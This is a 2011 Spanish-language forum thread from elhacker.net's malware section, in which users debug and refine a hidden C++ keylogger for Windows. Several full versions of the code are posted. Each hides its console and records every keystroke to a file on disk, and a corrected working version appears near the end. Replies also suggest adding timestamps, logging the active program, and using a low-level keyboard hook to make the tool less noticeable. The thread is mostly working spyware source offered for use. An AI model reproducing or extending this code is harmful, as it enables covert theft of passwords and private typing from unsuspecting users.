Foro de elhacker.net

Seguridad Informática => Análisis y Diseño de Malware => Mensaje iniciado por: WiseHidden en 10 Junio 2011, 23:41 pm



Título: Duda con Keylogger C++
Publicado por: WiseHidden en 10 Junio 2011, 23:41 pm
Hola a todos, tengo un par de dudas acerca de este codigo, la primera es q lo e probado en dos de mis equipos, en uno parece que realiza la funcion correctamente, crea un documento de txt en C: pero en el otro equipo no aparece!!

A que puede deberse esto??

La segunda duda es que el keylogger en si es muy sencillo, copia todo lo tecleado en un *.txt pero podria adaptarse algun codigo que te especifique la hora, o algo asi un poco más avanzadooo???

Os expongo aqui el codigo (el creador de este programa es kokehack) Lo encontre en la red.

Código:
#include <cstdlib>
#include <iostream>
#include <fstream>
#include <windows.h>

using namespace std;

int main()
{
 FreeConsole();
    
      string q="q";
      string w="w";
      string e="e";
      string r="r";
      string t="t";
      string y="y";
      string u="u";
      string i="i";
      string o="o";
      string p="p";
      string a="a";
      string s="s";
      string d="d";
      string f="f";
      string g="g";
      string h="h";
      string j="j";
      string k="k";
      string l="l";
      string z="z";
      string x="x";
      string c="c";
      string v="v";
      string b="b";
      string n="n";
      string m="m";
      string enter="[ENTER]";
      string backspace="[BACKSPACE]";
      string tab="[TAB]";
      string spacebar=" ";



while(1)
 {
         Sleep(20);
        
         ofstream log("C:\\log.txt", ios::app);
            
            
            Sleep(20);    
           if(GetAsyncKeyState('Q')==-32767)
           {log << q;}
          
           if (GetAsyncKeyState('W')==-32767)
           {log << w;}
          
           if (GetAsyncKeyState('E')==-32767)
           {log << e;}
          
           if (GetAsyncKeyState('R')==-32767)
           {log << r;}
          
           if (GetAsyncKeyState('T')==-32767)
           {log << t;}
          
           if (GetAsyncKeyState('Y')==-32767)
           {log << y;}
          
           if (GetAsyncKeyState('U')==-32767)
           {log << u;}
          
           if (GetAsyncKeyState('I')==-32767)
           {log << i;}
          
           if (GetAsyncKeyState('O')==-32767)
           {log << o;}
          
           if (GetAsyncKeyState('P')==-32767)
           {log << p;}
          
           if (GetAsyncKeyState('A')==-32767)
           {log << a;}
          
           if (GetAsyncKeyState('S')==-32767)
           {log << s;}
          
           if (GetAsyncKeyState('D')==-32767)
           {log << d;}
          
           if (GetAsyncKeyState('F')==-32767)
           {log << f;}
          
           if (GetAsyncKeyState('G')==-32767)
           {log << g;}
          
           if (GetAsyncKeyState('H')==-32767)
           {log << h;}
          
           if (GetAsyncKeyState('J')==-32767)
           {log << j;}
          
           if (GetAsyncKeyState('K')==-32767)
           {log << k;}
          
           if (GetAsyncKeyState('L')==-32767)
           {log << l;}
          
           if (GetAsyncKeyState('Z')==-32767)
           {log << z;}
          
           if (GetAsyncKeyState('X')==-32767)
           {log << x;}
          
           if (GetAsyncKeyState('C')==-32767)
           {log << c;}
          
           if (GetAsyncKeyState('V')==-32767)
           {log << v;}
          
           if (GetAsyncKeyState('B')==-32767)
           {log << b;}
          
           if (GetAsyncKeyState('N')==-32767)
           {log << n;}
          
           if (GetAsyncKeyState('M')==-32767)
           {log << m;}
          
           if (GetAsyncKeyState('1')==-32767)
           {log << 1;}
          
           if (GetAsyncKeyState('2')==-32767)
           {log << 2;}
          
           if (GetAsyncKeyState('3')==-32767)
           {log << 3;}
          
           if (GetAsyncKeyState('4')==-32767)
           {log << 4;}
          
           if (GetAsyncKeyState('5')==-32767)
           {log << 5;}
          
           if (GetAsyncKeyState('6')==-32767)
           {log << 6;}
          
           if (GetAsyncKeyState('7')==-32767)
           {log << 7;}
          
           if (GetAsyncKeyState('8')==-32767)
           {log << 8;}
          
           if (GetAsyncKeyState('9')==-32767)
           {log << 9;}
          
           if (GetAsyncKeyState('0')==-32767)
           {log << 0;}
          
           if (GetAsyncKeyState(13)==-32767)
           {log << enter;}
          
           if (GetAsyncKeyState(8)==-32767)
           {log << backspace;}
          
           if (GetAsyncKeyState(9)==-32767)
           {log << tab;}
          
           if (GetAsyncKeyState(32)==-32767)
           {log << spacebar;}
          
  
           log.close();
                
 }/*while*/
 return 0;
}

gracias

Un cordial saludoo

WH


Título: Re: Duda con Keylogger C++
Publicado por: WiseHidden en 11 Junio 2011, 10:55 am
Esto si que es curioso, he pasado a limpio el código en el equipo que si funcionaba, y resulta que ahora tampoco va!!!!

Alguien me puede explicar el porque de esto?? lo agradeceria.

Me he tomado la molestia de comentar la mayoria de las sentencias, si encuentran algun error agradeceria que lo notificaran, asi el codigo sera mas facil de estudiar.

CODIGO:

Código:
//KEYLOGGER KEYHIDDEN v0.1 (beta)
// By WiseHidden Junio 2011

#include //Libreria que controla ciertos recursos del sistema operativo.
#include <iostream> //Parte del a STL que contiene los algoritmos estándar de E/S.
#include <fstream> //Flujos hacia/desde ficheros.
#include <windows.h>

using namespace std; //Esto permite al programador tener acceso a todos los miembros del namespace y escribir instrucciones mas concisas

int main() //  Todo programa en Cpp necesita esta funcion
{
    
    FreeConsole(); //Oculta la consola del programa pero el programa trabaja en segundo plano
    string a="a";  // Cadenas de Texto
    string b="b";  // Cadenas de Texto
    string c="c";  // Cadenas de Texto
    string d="d";  // Cadenas de Texto
    string e="e";  // Cadenas de Texto
    string f="f";  // Cadenas de Texto
    string g="g";  // Cadenas de Texto
    string h="h";  // Cadenas de Texto
    string i="i";  // Cadenas de Texto
    string j="j";  // Cadenas de Texto
    string k="k";  // Cadenas de Texto
    string l="l";  // Cadenas de Texto
    string m="m";  // Cadenas de Texto
    string n="n";  // Cadenas de Texto
    string o="o";  // Cadenas de Texto
    string p="p";  // Cadenas de Texto
    string q="q";  // Cadenas de Texto
    string r="r";  // Cadenas de Texto
    string s="s";  // Cadenas de Texto
    string t="t";  // Cadenas de Texto
    string u="u";  // Cadenas de Texto
    string w="w";  // Cadenas de Texto
    string x="x";  // Cadenas de Texto
    string y="y";  // Cadenas de Texto
    string z="z";  // Cadenas de Texto
    string enter="[ENTER]";  // Cadenas de Texto
    string backspace="[BACKSPACE]";  // Cadenas de Texto
    string tab="[TAB]";  // Cadenas de Texto
    string spacebar=" ";  // Cadenas de Texto
    
    while(1) //Nos permite repetir la ejecución de un bloque hasta tanto una condición booleana se vuelva falsa.
    {
       Sleep(20); //Retardado en 0,2 milisegundos
       ofstream log("C:\log.txt", ios::app); //Esta funcion creara un documento .txt en la ruta que le hemos designado
       Sleep(20);  //Retardado en 0,2 milisegundos
      
       if(GetAsyncKeyState('A')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
       {log<<a;}
       if(GetAsyncKeyState('B')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
       {log<<b;}
       if(GetAsyncKeyState('C')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
       {log<<c;}
       if(GetAsyncKeyState('D')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
       {log<<d;}
       if(GetAsyncKeyState('E')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
       {log<<e;}
       if(GetAsyncKeyState('F')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
       {log<<f;}
       if(GetAsyncKeyState('G')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
       {log<<g;}
       if(GetAsyncKeyState('H')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
       {log<<h;}
       if(GetAsyncKeyState('I')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
       {log<<i;}
       if(GetAsyncKeyState('J')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
       {log<<j;}
       if(GetAsyncKeyState('K')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
       {log<<k;}
       if(GetAsyncKeyState('L')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
       {log<<l;}
       if(GetAsyncKeyState('M')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
       {log<<m;}
       if(GetAsyncKeyState('N')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
       {log<<n;}
       if(GetAsyncKeyState('O')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
       {log<<o;}
       if(GetAsyncKeyState('P')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
       {log<<p;}
       if(GetAsyncKeyState('Q')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
       {log<<q;}
       if(GetAsyncKeyState('R')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
       {log<<r;}
       if(GetAsyncKeyState('S')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
       {log<<s;}
       if(GetAsyncKeyState('T')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
       {log<<t;}
       if(GetAsyncKeyState('U')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
       {log<<u;}
       if(GetAsyncKeyState('W')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
       {log<<w;}
       if(GetAsyncKeyState('X')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
       {log<<x;}
       if(GetAsyncKeyState('Y')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
       {log<<y;}
       if(GetAsyncKeyState('Z')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
       {log<<z;}
       if(GetAsyncKeyState('0')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
       {log<<0;}
       if(GetAsyncKeyState('1')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
       {log<<1;}
       if(GetAsyncKeyState('2')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
       {log<<2;}
       if(GetAsyncKeyState('3')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
       {log<<3;}
       if(GetAsyncKeyState('4')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
       {log<<4;}
       if(GetAsyncKeyState('5')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
       {log<<5;}
       if(GetAsyncKeyState('6')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
       {log<<6;}
       if(GetAsyncKeyState('7')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
       {log<<7;}
       if(GetAsyncKeyState('8')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
       {log<<8;}
       if(GetAsyncKeyState('9')==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
       {log<<9;}
       if(GetAsyncKeyState(13)==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
       {log<<enter;}
       if(GetAsyncKeyState(8)==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
       {log<<backspace;}
       if(GetAsyncKeyState(9)==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
       {log<<tab;}
       if(GetAsyncKeyState(32)==-32767) //Esta función devuelve un valor o otro depende de si has pulsado la tecla o no
       {log<<spacebar;}
       log.close();
       }/*while*/
       return 0;
      
            }

UN SALUDO

Atentamente

WiseHidden


Título: Re: Duda con Keylogger C++
Publicado por: BlackZeroX en 11 Junio 2011, 11:41 am
.
Veo que el keylogger es para windows,

Mejor instala un Hook al teclado haci te ahorras el alto consumo del procesador ( While ).

Dulces Lunas!¡.


Título: Re: Duda con Keylogger C++
Publicado por: WiseHidden en 11 Junio 2011, 12:25 pm
Citar
Mejor instala un Hook al teclado haci te ahorras el alto consumo del procesador ( While ).
Y me podrias orientar como??

Citar
la primera es q lo e probado en dos de mis equipos, en uno parece que realiza la funcion correctamente, crea un documento de txt en C: pero en el otro equipo no aparece!! A que puede deberse esto??

Sigo sin saber porque no funciona en algunos equipos , puede ser por el S.O?

Citar
podria adaptarse algun codigo que te especifique la hora, o algo asi un poco más avanzadooo???

Una vez resueltas las dudas me gustaria agregarle esto, agradeceria vuestra ayuda


gracias

un saludo

wh


Título: Re: Duda con Keylogger C++
Publicado por: fantasma306 en 11 Junio 2011, 16:46 pm
Hola, no se si es solo al escribir tu codigo aqui, pero creo que en el segundo codigo te has olvidado:

Código:
#include <cstdlib>

otra cosa, para usar los string necesitas
Código:
#include <string>

una cosa mas, no entiendo muy bien para que usar tantas variables string...
si cuando haces los if puedes hacer esto directamente:

Código:
log<<"a";

saludos


EDITO:
creo que no tienes permiso para escribir un archivo en C:, lo que puedes hacer es crear una carpeta en C: y dentro de la carpeta escribir el archivo log.
Necesitas:
Código:
#include <direct.h>
y para crear la carpeta:
Código:
mkdir("C:\\carpeta");


para el tema de poner la hora, se podria escribir la hora en el archivo cada minuto (si toca el teclado), tambien otra cosa mas interesante, es saber cual es el proceso que tiene en primer plano y escribirlo tambien en el archivo


Título: Re: Duda con Keylogger C++
Publicado por: jaunx en 11 Junio 2011, 18:47 pm
Y me podrias orientar como??
está en inglés y al final, en mi opinión, el autor se enreda un poco... :rolleyes:, pero creo que te servirá
Código:
http://www.docdroppers.org/wiki/index.php?title=Writing_Keyloggers


Sigo sin saber porque no funciona en algunos equipos , puede ser por el S.O?
en Vista y Seven, debido a la uac, una aplicación que no se ejecuta como administrador no puede crear/modificar un archivo en c:... Diría que la cosa va por ahí.... :laugh:


Título: Re: Duda con Keylogger C++
Publicado por: WiseHidden en 12 Junio 2011, 16:19 pm
Citar
en Vista y Seven, debido a la uac, una aplicación que no se ejecuta como administrador no puede crear/modificar un archivo en c:... Diría que la cosa va por ahí.
Valla!! Viene por defecto no?? Pero se podria quitar? o eso queda limitado siempre?


Citar
Hola, no se si es solo al escribir tu codigo aqui, pero creo que en el segundo codigo te has olvidado:

Si, error mio al pegarlo en el post, fue al escribir los comentarios cuando me lo comí sin querer,  :D

luego Fastama306 he probado todo lo que me has dicho pero me salta un error en esta linea

Citar
#include <cstdlib>
#include <iostream>
#include <fstream>
#include <string>
#include <direct.h>
#include <windows.h>

using namespace std;

int main()
{
 FreeConsole();
   
      string q="q";
      string w="w";
      string e="e";
      string r="r";
      string t="t";
      string y="y";
      string u="u";
      string i="i";
      string o="o";
      string p="p";
      string a="a";
      string s="s";
      string d="d";
      string f="f";
      string g="g";
      string h="h";
      string j="j";
      string k="k";
      string l="l";
      string z="z";
      string x="x";
      string c="c";
      string v="v";
      string b="b";
      string n="n";
      string m="m";
      string enter="[ENTER]";
      string backspace="[BACKSPACE]";
      string tab="[TAB]";
      string spacebar=" ";



while(1)
 {
         Sleep(20);
         
     
            mkdir("C:\\registro\log.txt");
           
            Sleep(20);   
             
           if (GetAsyncKeyState('Q')==-32767)
           {log << q;} <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<ERROR>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
           
           if (GetAsyncKeyState('W')==-32767)
           {log << w;}
           
           if (GetAsyncKeyState('E')==-32767)
           {log << e;}
           
           if (GetAsyncKeyState('R')==-32767)
           {log << r;}
           
           if (GetAsyncKeyState('T')==-32767)
           {log << t;}
           
           if (GetAsyncKeyState('Y')==-32767)
           {log << y;}
           
           if (GetAsyncKeyState('U')==-32767)
           {log << u;}
           
           if (GetAsyncKeyState('I')==-32767)
           {log << i;}
           
           if (GetAsyncKeyState('O')==-32767)
           {log << o;}
           
           if (GetAsyncKeyState('P')==-32767)
           {log << p;}
           
           if (GetAsyncKeyState('A')==-32767)
           {log << a;}
           
           if (GetAsyncKeyState('S')==-32767)
           {log << s;}
           
           if (GetAsyncKeyState('D')==-32767)
           {log << d;}
           
           if (GetAsyncKeyState('F')==-32767)
           {log << f;}
           
           if (GetAsyncKeyState('G')==-32767)
           {log << g;}
           
           if (GetAsyncKeyState('H')==-32767)
           {log << h;}
           
           if (GetAsyncKeyState('J')==-32767)
           {log << j;}
           
           if (GetAsyncKeyState('K')==-32767)
           {log << k;}
           
           if (GetAsyncKeyState('L')==-32767)
           {log << l;}
           
           if (GetAsyncKeyState('Z')==-32767)
           {log << z;}
           
           if (GetAsyncKeyState('X')==-32767)
           {log << x;}
           
           if (GetAsyncKeyState('C')==-32767)
           {log << c;}
           
           if (GetAsyncKeyState('V')==-32767)
           {log << v;}
           
           if (GetAsyncKeyState('B')==-32767)
           {log << b;}
           
           if (GetAsyncKeyState('N')==-32767)
           {log << n;}
           
           if (GetAsyncKeyState('M')==-32767)
           {log << m;}
           
           if (GetAsyncKeyState('1')==-32767)
           {log << 1;}
           
           if (GetAsyncKeyState('2')==-32767)
           {log << 2;}
           
           if (GetAsyncKeyState('3')==-32767)
           {log << 3;}
           
           if (GetAsyncKeyState('4')==-32767)
           {log << 4;}
           
           if (GetAsyncKeyState('5')==-32767)
           {log << 5;}
           
           if (GetAsyncKeyState('6')==-32767)
           {log << 6;}
           
           if (GetAsyncKeyState('7')==-32767)
           {log << 7;}
           
           if (GetAsyncKeyState('8')==-32767)
           {log << 8;}
           
           if (GetAsyncKeyState('9')==-32767)
           {log << 9;}
           
           if (GetAsyncKeyState('0')==-32767)
           {log << 0;}
           
           if (GetAsyncKeyState(13)==-32767)
           {log << enter;}
           
           if (GetAsyncKeyState(8)==-32767)
           {log << backspace;}
           
           if (GetAsyncKeyState(9)==-32767)
           {log << tab;}
           
           if (GetAsyncKeyState(32)==-32767)
           {log << spacebar;}
           
 
           log.close();
                 
 }/*while*/
 return 0;
}


Título: Re: Duda con Keylogger C++
Publicado por: fantasma306 en 12 Junio 2011, 16:38 pm
Citar
luego Fastama306 he probado todo lo que me has dicho pero me salta un error en esta linea

bueno eso es por que mkdir es para crear un carpeta, y no un archivo.

modifique un poco el codigo, asi es como me quedo:

Código:
#include <fstream>
#include <windows.h>
#include <string>
#include <direct.h>
using namespace std;

int main(){
FreeConsole();
string enter="[ENTER]";
string backspace="[BACKSPACE]";
string tab="[TAB]";
mkdir("C:\\registro");

while(true){
Sleep(20);
ofstream log("C:\\registro\\log.txt", ios_base::app);
if(log.is_open()){
if (GetAsyncKeyState('Q')==-32767)log << "q";
if (GetAsyncKeyState('W')==-32767)log << "w";
if (GetAsyncKeyState('E')==-32767)log << "e";
if (GetAsyncKeyState('R')==-32767)log << "r";
if (GetAsyncKeyState('T')==-32767)log << "t";
if (GetAsyncKeyState('Y')==-32767)log << "y";
if (GetAsyncKeyState('U')==-32767)log << "u";
if (GetAsyncKeyState('I')==-32767)log << "i";
if (GetAsyncKeyState('O')==-32767)log << "o";
if (GetAsyncKeyState('P')==-32767)log << "p";
if (GetAsyncKeyState('A')==-32767)log << "a";
if (GetAsyncKeyState('S')==-32767)log << "s";
if (GetAsyncKeyState('D')==-32767)log << "d";
if (GetAsyncKeyState('F')==-32767)log << "f";
if (GetAsyncKeyState('G')==-32767)log << "g";
if (GetAsyncKeyState('H')==-32767)log << "h";
if (GetAsyncKeyState('J')==-32767)log << "j";
if (GetAsyncKeyState('K')==-32767)log << "k";
if (GetAsyncKeyState('L')==-32767)log << "l";
if (GetAsyncKeyState('Z')==-32767)log << "z";
if (GetAsyncKeyState('X')==-32767)log << "x";
if (GetAsyncKeyState('C')==-32767)log << "c";
if (GetAsyncKeyState('V')==-32767)log << "v";
if (GetAsyncKeyState('B')==-32767)log << "b";
if (GetAsyncKeyState('N')==-32767)log << "n";
if (GetAsyncKeyState('M')==-32767)log << "m";
if (GetAsyncKeyState('1')==-32767)log << "1";
if (GetAsyncKeyState('2')==-32767)log << "2";
if (GetAsyncKeyState('3')==-32767)log << "3";
if (GetAsyncKeyState('4')==-32767)log << "4";
if (GetAsyncKeyState('5')==-32767)log << "5";
if (GetAsyncKeyState('6')==-32767)log << "6";
if (GetAsyncKeyState('7')==-32767)log << "7";
if (GetAsyncKeyState('8')==-32767)log << "8";
if (GetAsyncKeyState('9')==-32767)log << "9";
if (GetAsyncKeyState('0')==-32767)log << "0";
if (GetAsyncKeyState(13) ==-32767)log << enter;
if (GetAsyncKeyState( 8) ==-32767)log << backspace;
if (GetAsyncKeyState( 9) ==-32767)log << tab;
if (GetAsyncKeyState(32) ==-32767)log << " ";

log.close();
}
}
return 0;
}


Título: TEMA CERRADO Duda con Keylogger C++
Publicado por: WiseHidden en 12 Junio 2011, 16:59 pm
Perfecto Fantasma306 has dado en el clavo, me has dado el toque que me faltaba, ademas de que tu codigo es mas limpio y "chupa" menos de la CPU que el mio.

Mil gracias, espero estemos mas en contacto
gracias tambien a jaunx y a BlackZeroX por su ayuda tambien

un cordial saludooooo


Título: Re: Duda con Keylogger C++
Publicado por: BlackZeroX en 12 Junio 2011, 21:01 pm
Con un hook tendrás de consumo prácticamente 0% del uso del procesador.

Código:
http://msdn.microsoft.com/en-us/library/ms644990(v=vs.85).aspx

debes instalar el hook hacia el mensaje WH_KEYBOARD_LL

Dulces Lunas!¡.